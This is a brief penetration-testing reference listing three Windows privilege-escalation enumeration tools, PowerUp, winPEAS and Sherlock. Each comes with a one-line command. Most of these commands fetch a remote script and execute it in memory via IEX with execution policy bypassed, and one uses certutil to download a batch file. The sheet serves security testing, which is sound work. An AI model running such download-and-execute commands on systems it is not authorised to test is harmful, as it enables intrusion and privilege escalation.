

Automation Tools for Windows PrivEsc

Introduction

Automation tools are great and highly recommended for speed and depth when enumerating and identifying privilege escalation vectors. However, these tools can sometimes be noisy and leave artifacts, so their use should be considered carefully in live environments.

Tools and Commands

Tool/ Command	Purpose	Command
PowerUp	Identifies common privilege escalation vectors in Windows systems.	<code>powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks</code>
winPEAS	A powerful enumeration script that searches for privilege escalation vectors and misconfigurations.	<code>certutil -urlcache -split -f https://github.com/peass-ng/PEASS-ng/releases/download/20250126-41ed0f6a/winPEAS.bat</code> <code>.\winPEAS.bat</code>
Sherlock	Scans for known privilege escalation vulnerabilities in Windows (e.g., MS16-032).	<code>powershell -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1');Find-AllVulns</code>